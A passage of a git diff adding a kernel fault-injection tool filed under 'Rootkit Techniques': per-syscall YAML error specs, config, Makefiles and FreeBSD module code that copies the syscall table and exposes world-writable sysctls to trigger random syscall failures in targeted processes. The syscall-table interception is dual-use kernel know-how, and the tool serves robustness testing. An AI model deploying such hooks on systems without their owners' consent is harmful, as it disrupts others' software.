EPROTONOSUPPORT +profiles: + - net diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/stat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/stat.yml new file mode 100644 index 0000000..cd12db6 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/stat.yml @@ -0,0 +1,13 @@ +proto: const char __user *filename, struct __old_kernel_stat __user *statbuf +parms: filename, statbuf +errors: + - EACCES + - EFAULT + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/statfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/statfs.yml new file mode 100644 index 0000000..a7f3d9e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/statfs.yml @@ -0,0 +1,16 @@ +proto: const char __user *pathname, struct statfs __user *buf +parms: pathname, buf +errors: + - EACCES + - EFAULT + - EINTR + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSYS + - ENOTDIR + - EOVERFLOW +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapoff.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapoff.yml new file mode 100644 index 0000000..bc28ca7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapoff.yml @@ -0,0 +1,10 @@ +proto: const char __user *specialfile +parms: specialfile +errors: + - EINVAL + - ENFILE + - ENOENT + - ENOMEM + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapon.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapon.yml new file mode 100644 index 0000000..a833680 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/swapon.yml @@ -0,0 +1,11 @@ +proto: const char __user *specialfile, int swap_flags +parms: specialfile, swap_flags +errors: + - EBUSY + - EINVAL + - ENFILE + - ENOENT + - ENOMEM + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlink.yml new file mode 100644 index 0000000..6b13ba7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlink.yml @@ -0,0 +1,18 @@ +proto: const char __user *oldname, const char __user *newname +parms: oldname, newname +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlinkat.yml new file mode 100644 index 0000000..ae05666 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/symlinkat.yml @@ -0,0 +1,19 @@ +proto: const char __user *oldname, int newdfd, const char __user *newname +parms: oldname, newdfd, newname +errors: + - EACCES + - EDQUOT + - EEXIST + - EFAULT + - EIO + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOSPC + - ENOTDIR + - EPERM + - EROFS + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syncfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syncfs.yml new file mode 100644 index 0000000..0272765 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syncfs.yml @@ -0,0 +1,6 @@ +proto: int fd +parms: fd +errors: + - EBADF +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysctl.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysctl.yml new file mode 100644 index 0000000..a71fad1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysctl.yml @@ -0,0 +1,11 @@ +name: _sysctl +proto: struct __sysctl_args __user *args +parms: args +errors: + # - EACCESS + - EFAULT + - ENOTDIR + - EPERM +profiles: + - fs + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysfs.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysfs.yml new file mode 100644 index 0000000..b1171b8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/sysfs.yml @@ -0,0 +1,7 @@ +proto: int option, unsigned long arg1, unsigned long arg2 +parms: option, arg1, arg2 +errors: + - EFAULT + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syslog.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syslog.yml new file mode 100644 index 0000000..9109304 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/syslog.yml @@ -0,0 +1,7 @@ +proto: int type, char __user *buf, int len +parms: type, buf, len +errors: + - EINVAL + - ENOSYS + - EPERM + - ERESTARTSYS diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tgkill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tgkill.yml new file mode 100644 index 0000000..8b8b9c1 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tgkill.yml @@ -0,0 +1,7 @@ +proto: pid_t tgid, pid_t pid, int sig +parms: tgid, pid, sig +errors: + - EINVAL + - EPERM + - ESRCH + - EAGAIN diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/time.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/time.yml new file mode 100644 index 0000000..7ac10d8 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/time.yml @@ -0,0 +1,7 @@ +# See gettimeofday.yml; you probably need to disable the VDSO for this. +proto: time_t __user *tloc +parms: tloc +errors: + - EFAULT +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_create.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_create.yml new file mode 100644 index 0000000..5e920cf --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_create.yml @@ -0,0 +1,8 @@ +proto: const clockid_t which_clock, struct sigevent __user *timer_event_spec, timer_t __user *created_timer_id +parms: which_clock, timer_event_spec, created_timer_id +errors: + - EAGAIN + - EINVAL + - ENOMEM +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_delete.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_delete.yml new file mode 100644 index 0000000..a601e7b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_delete.yml @@ -0,0 +1,6 @@ +proto: timer_t timer_id +parms: timer_id +errors: + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_getoverrun.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_getoverrun.yml new file mode 100644 index 0000000..a601e7b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_getoverrun.yml @@ -0,0 +1,6 @@ +proto: timer_t timer_id +parms: timer_id +errors: + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_gettime.yml new file mode 100644 index 0000000..e8a040d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_gettime.yml @@ -0,0 +1,7 @@ +proto: timer_t timer_id, struct itimerspec __user *setting +parms: timer_id, setting +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_settime.yml new file mode 100644 index 0000000..22278cd --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timer_settime.yml @@ -0,0 +1,7 @@ +proto: timer_t timer_id, int flags, const struct itimerspec __user *new_setting, struct itimerspec __user *old_setting +parms: timer_id, flags, new_setting, old_setting +errors: + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_create.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_create.yml new file mode 100644 index 0000000..2ec1a87 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_create.yml @@ -0,0 +1,12 @@ +proto: int clockid, int flags +parms: clockid, flags +errors: + - EINVAL + - EMFILE + - ENFILE + - ENODEV + - ENOMEM +profiles: + # TODO(ww): Does fs make sense here? The timerfd API uses the process fd table. + # - fs + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_gettime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_gettime.yml new file mode 100644 index 0000000..c1764b7 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_gettime.yml @@ -0,0 +1,8 @@ +proto: int ufd, struct itimerspec __user *otmr +parms: ufd, otmr +errors: + - EBADF + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_settime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_settime.yml new file mode 100644 index 0000000..5711c5c --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/timerfd_settime.yml @@ -0,0 +1,8 @@ +proto: int ufd, int flags, const struct itimerspec __user *utmr, struct itimerspec __user *otmr +parms: ufd, flags, utmr, otmr +errors: + - EBADF + - EFAULT + - EINVAL +profiles: + - time diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tkill.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tkill.yml new file mode 100644 index 0000000..7ee0c86 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/tkill.yml @@ -0,0 +1,9 @@ +proto: pid_t pid, int sig +parms: pid, sig +errors: + - EINVAL + - EPERM + - ESRCH + - EAGAIN +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/truncate.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/truncate.yml new file mode 100644 index 0000000..a6a8a39 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/truncate.yml @@ -0,0 +1,19 @@ +proto: const char __user *path, long length +parms: path, length +errors: + - EACCES + - EFBIG + - EINTR + - EINVAL + - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - EPERM + - EROFS + - ETXTBSY + - EFAULT +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/umount.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/umount.yml new file mode 100644 index 0000000..d5b2d01 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/umount.yml @@ -0,0 +1,14 @@ +nr: umount2 +proto: char __user *name, int flags +parms: name, flags +errors: + - EAGAIN + - EBUSY + - EFAULT + - EINVAL + - ENAMETOOLONG + - ENOENT + - ENOMEM + - EPERM +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlink.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlink.yml new file mode 100644 index 0000000..0c81f65 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlink.yml @@ -0,0 +1,17 @@ +proto: const char __user *pathname +parms: pathname +errors: + - EACCES + - EBUSY + - EFAULT + # - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlinkat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlinkat.yml new file mode 100644 index 0000000..4662d34 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/unlinkat.yml @@ -0,0 +1,19 @@ +proto: int dfd, const char __user *pathname, int flag +parms: dfd, pathname, flag +errors: + - EACCES + - EBUSY + - EFAULT + - EIO + - EISDIR + - ELOOP + - ENAMETOOLONG + - ENOENT + - ENOMEM + - ENOTDIR + - EPERM + - EROFS + - EBADF + - EINVAL +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/uselib.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/uselib.yml new file mode 100644 index 0000000..c2c4e70 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/uselib.yml @@ -0,0 +1,8 @@ +proto: const char __user *library +parms: library +errors: + - EACCES + - ENFILE + - ENOEXEC +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ustat.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ustat.yml new file mode 100644 index 0000000..dcd6076 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/ustat.yml @@ -0,0 +1,8 @@ +proto: unsigned dev, struct ustat __user *buf +parms: dev, buf +errors: + - EFAULT + - EINVAL + - ENOSYS +profiles: + - fs diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/utime.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/utime.yml new file mode 100644 index 0000000..42ef50d --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/utime.yml @@ -0,0 +1,7 @@ +proto: char __user *filename, struct utimbuf __user *times +parms: filename, times +errors: + - EACCES + - ENOENT + - EPERM + - EROFS diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/vhangup.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/vhangup.yml new file mode 100644 index 0000000..9598e43 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/vhangup.yml @@ -0,0 +1,7 @@ +proto: void +parms: +errors: + - EPERM +profiles: + - fs + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/wait4.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/wait4.yml new file mode 100644 index 0000000..a8edf28 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/wait4.yml @@ -0,0 +1,8 @@ +proto: pid_t upid, int __user *stat_addr, int options, struct rusage __user *ru +parms: upid, stat_addr, options, ru +errors: + - ECHILD + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/waitid.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/waitid.yml new file mode 100644 index 0000000..b04003b --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/waitid.yml @@ -0,0 +1,8 @@ +proto: int which, pid_t upid, struct siginfo __user *infop, int options, struct rusage __user *ru +parms: which, upid, infop, options, ru +errors: + - ECHILD + - EINTR + - EINVAL +profiles: + - proc diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/write.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/write.yml new file mode 100644 index 0000000..5aceb17 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/write.yml @@ -0,0 +1,15 @@ +proto: unsigned int fd, const char __user *buf, size_t count +parms: fd, buf, count +errors: + - EBADF + - EFAULT + - EPERM +unlikely_errors: + - EDQUOT + - EFBIG + - EINTR + - EINVAL + - ENOSPC +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/writev.yml b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/writev.yml new file mode 100644 index 0000000..e1ed178 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/codegen/linux/writev.yml @@ -0,0 +1,18 @@ +proto: unsigned long fd, const struct iovec __user *vec, unsigned long vlen +parms: fd, vec, vlen +errors: + - EBADF + - EFAULT +unlikely_errors: + # - EAGAIN + # - EWOULDBLOCK + - EINTR + - EINVAL + - EIO + - EISDIR + - ENXIO + - EOVERFLOW + - ESPIPE +profiles: + - fs + - io diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.c new file mode 100644 index 0000000..c999f76 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.c @@ -0,0 +1,8 @@ +#include "config.h" + +unsigned int krf_rng_state = 0; +unsigned int krf_probability = 1000; +unsigned int krf_targeted_uid = 1002; +unsigned int krf_log_faults = 0; + +krf_target_options_t krf_target_options = {0}; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.h new file mode 100644 index 0000000..df5dd9e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/config.h @@ -0,0 +1,25 @@ +#pragma once +#include "../common/common.h" + +/* All of our options are unsigned ints, + * so 32 bytes should be more than enough for their string reps + * plus a trailing newline. + */ +#define KRF_PROCFS_MAX_SIZE 255 + +extern unsigned int krf_rng_state; +extern unsigned int krf_probability; +extern unsigned int krf_log_faults; +extern unsigned int krf_targeting; + +#define KRF_T_MODE_MAX 31 +#define KRF_T_MODE_MAX_MASK (1 << KRF_T_MODE_MAX) + +_Static_assert(((KRF_T_NUM_MODES) <= (KRF_T_MODE_MAX)), "Too many modes"); + +typedef struct { + unsigned int mode_mask; + unsigned int target_data[KRF_T_MODE_MAX]; +} krf_target_options_t; + +extern krf_target_options_t krf_target_options; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile new file mode 100644 index 0000000..d4f1beb --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile @@ -0,0 +1,35 @@ +# NOTE(ww): The targets in this file intentionally use `make` +# instead of `$(MAKE)`, since we expect `$(MAKE)` to be GNU Make +# and not the BSD `make` that the FreeBSD module build requires. +KRF_SYSCALL_YMLS = $(wildcard ../codegen/freebsd/*.yml) + +.PHONY: all +all: module + +.PHONY: module +module: ../codegen/freebsd/.freebsd.mk + make -f Makefile.module all + +.PHONY: codegen +codegen: ../codegen/freebsd/.freebsd.mk + +../codegen/freebsd/.freebsd.mk: ../codegen/freebsd/codegen $(KRF_SYSCALL_YMLS) + ruby ../codegen/freebsd/codegen $(FAULTS) + @touch ../codegen/freebsd/.freebsd.mk + +.PHONY: insmod +insmod: + sudo make -f Makefile.module load + +.PHONY: rmmod +rmmod: + sudo make -f Makefile.module unload + +.PHONY: install +install: + sudo make -f Makefile.module install + +.PHONY: clean +clean: + make -f Makefile.module clean + rm -rf *.gen.c *.gen.x *.gen.h syscalls/*.gen.c syscalls/*.gen.h ../codegen/freebsd/.freebsd.mk diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile.module b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile.module new file mode 100644 index 0000000..25f8249 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/Makefile.module @@ -0,0 +1,10 @@ +SYSCALL_C_FILES != ls syscalls/*.gen.c +SRCS = krf.c syscalls.c ../config.c ../krf.c $(SYSCALL_C_FILES) vnode_if.h +KMOD = krf + +# NOTE(ww): Clear the default CFLAGS flags passed in the top-level Makefile. +# bsd.kmod.mk will do everything right for us. +# TODO(ww): Figure out why .unexport and .undef don't work here. +CFLAGS := + +.include diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/freebsd.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/freebsd.h new file mode 100644 index 0000000..a6d6781 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/freebsd.h @@ -0,0 +1,10 @@ +#pragma once +// FreeBSD specific definitions +#include "syscalls.h" + +#define KRF_SAFE_WRITE(x) x // ??? +#define KRF_LOG(...) uprintf(__VA_ARGS__) +#define KRF_SYSCALL_TABLE sysent +#define KRF_TARGETING_PARMS td +#define KRF_EXTRACT_SYSCALL(x) ((x).sy_call) +typedef struct thread krf_ctx_t; diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/krf.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/krf.c new file mode 100644 index 0000000..542dbdf --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/krf.c @@ -0,0 +1,124 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "../config.h" +#include "../krf.h" +#include "syscalls.h" + +static struct sysctl_ctx_list clist; +static struct sysctl_oid *krf_sysctl_root; +static unsigned int krf_control; +static char krf_targetings[13]; + +static int control_file_sysctl(SYSCTL_HANDLER_ARGS) { + int syscall = -1; + int err = 0; + + if (sysctl_handle_int(oidp, &syscall, 0, req)) { + return -1; + } else if (req->newptr) { + err = control_file_handler(syscall); + if (err < 0) + return -err; + } else { + // read request? + } + return err; +} + +static int targeting_file_sysctl(SYSCTL_HANDLER_ARGS) { + int err = 0; + krf_target_mode_t mode; + unsigned int data; + + err = sysctl_handle_string(oidp, &krf_targetings, 13, req); + if (err) { + return -err; + } else if (req->newptr) { + if (sscanf(krf_targetings, "%u %u", &mode, &data) != 2) { + return EINVAL; + } + if (targeting_file_write_handler(mode, data) < 0) { + return EINVAL; + } + } else { + // read request? + } + return err; +} + +static int krf_init() { + int err = 0; + sysctl_ctx_init(&clist); + if (!(krf_sysctl_root = SYSCTL_ADD_ROOT_NODE(&clist, OID_AUTO, KRF_PROC_DIR, CTLFLAG_RW, 0, + "krf sysctl root node"))) { + uprintf("krf error: Failed to add root sysctl node.\n"); + return -1; + } + + memset(krf_faultable_table, 0, KRF_NR_SYSCALLS * sizeof(sy_call_t *)); + for (unsigned int i = 0; i < KRF_NR_SYSCALLS; i++) { + krf_sys_call_table[i] = sysent[i].sy_call; + } + + SYSCTL_ADD_UINT(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_PROBABILITY_FILENAME, + CTLFLAG_ANYBODY | CTLFLAG_RW, &krf_probability, krf_probability, + "Reciprocal of the probability of a fault"); + SYSCTL_ADD_UINT(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_RNG_STATE_FILENAME, + CTLFLAG_ANYBODY | CTLFLAG_RW, &krf_rng_state, krf_rng_state, + "Sets the current RNG state"); + SYSCTL_ADD_UINT(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_LOG_FAULTS_FILENAME, + CTLFLAG_ANYBODY | CTLFLAG_RW, &krf_log_faults, krf_log_faults, + "Toggle logging faults to syslog"); + SYSCTL_ADD_PROC(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_CONTROL_FILENAME, + CTLFLAG_ANYBODY | CTLTYPE_UINT | CTLFLAG_WR, &krf_control, krf_control, + control_file_sysctl, "IU", "Enables specific syscall faults"); + SYSCTL_ADD_PROC(&clist, SYSCTL_CHILDREN(krf_sysctl_root), OID_AUTO, KRF_TARGETING_FILENAME, + CTLFLAG_ANYBODY | CTLTYPE_STRING | CTLFLAG_WR, &krf_targetings, 13, + targeting_file_sysctl, "A", "Enables specific targeting options"); + return err; +} + +static int krf_teardown() { + krf_flush_table(); + sysctl_remove_oid(krf_sysctl_root, 1, 0); + sysctl_ctx_free(&clist); + return 0; +} + +static int krf_loader(struct module *m, int what, void *arg) { + int err = 0; + switch (what) { + case MOD_LOAD: + err = krf_init(); + if (err != 0) + uprintf("krf_init failed with %d\n", err); + +#include "krf.gen.x" + + uprintf("krf: loaded\n"); + break; + case MOD_UNLOAD: + krf_teardown(); + uprintf("krf: unloaded\n"); + break; + default: + err = EOPNOTSUPP; + break; + } + return (err); +} + +static moduledata_t krf_mod = {"krf", krf_loader, NULL}; + +DECLARE_MODULE(krf, krf_mod, SI_SUB_EXEC, SI_ORDER_ANY); diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.c b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.c new file mode 100644 index 0000000..75e8185 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.c @@ -0,0 +1,19 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "syscalls.h" +#include "syscalls/internal.h" +#include "../targeting.h" +#include "freebsd.h" + +sy_call_t *krf_faultable_table[KRF_MAX_SYSCALL] = {}; +sy_call_t *krf_sys_call_table[KRF_MAX_SYSCALL] = {}; + +#include "syscalls.gen.x" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.h new file mode 100644 index 0000000..04d3a86 --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls.h @@ -0,0 +1,19 @@ +#pragma once +#include +#include +#include +#include + +#if !defined(SYS_MAXSYSCALL) || SYS_MAXSYSCALL <= 0 +#error "undefined or bizarrely defined SYS_MAXSYSCALL" +#endif + +#define KRF_NR_SYSCALLS SYS_MAXSYSCALL +#define KRF_MAX_SYSCALL SYS_MAXSYSCALL + +struct sysent; +extern struct sysent sysent[]; +extern sy_call_t *krf_faultable_table[KRF_MAX_SYSCALL]; +extern sy_call_t *krf_sys_call_table[KRF_MAX_SYSCALL]; + +#include "syscalls.gen.h" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls/internal.h b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls/internal.h new file mode 100644 index 0000000..2ee4c7e --- /dev/null +++ b/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/syscalls/internal.h @@ -0,0 +1,42 @@ +#pragma once + +#ifdef LINUX +#include +#endif + +#ifdef __FreeBSD__ +#include +#include +#include +#include +#include +#include +#include +#include /* uprintf */ +#endif + +#include "../../config.h" + +#define KRF_RNG_NEXT() (krf_rng_state = krf_mulberry32()) + +/* Individual syscall files (read.c, write.c) provide these. + */ +#undef KRF_SYS_CALL +#undef KRF_SYS_PARMS +#undef KRF_SYS_PARMSX + +#define NFAULTS (sizeof(fault_table) / sizeof(fault_table[0])) + +/* Cribbed from the public domain impl: + * https://gist.github.com/tommyettinger/46a874533244883189143505d203312c + * + * TODO(ww): 64 bit would probably be faster; use Thrust instead? + */ +static __inline unsigned int krf_mulberry32(void) { + unsigned int z = krf_rng_state += 0x6D2B79F5; + z = (z ^ z >> 15) * (1 | z); + z ^= z + (z ^ z >> 7) * (61 | z); + return z ^ z >> 14; +} + +#include "internal.gen.h" diff --git a/Linux/Rootkit Techniques/Kernelspace Randomized Faulter/src/module/freebsd/targeting.h b/Linux/Rootkit Techniques/Kernelspace 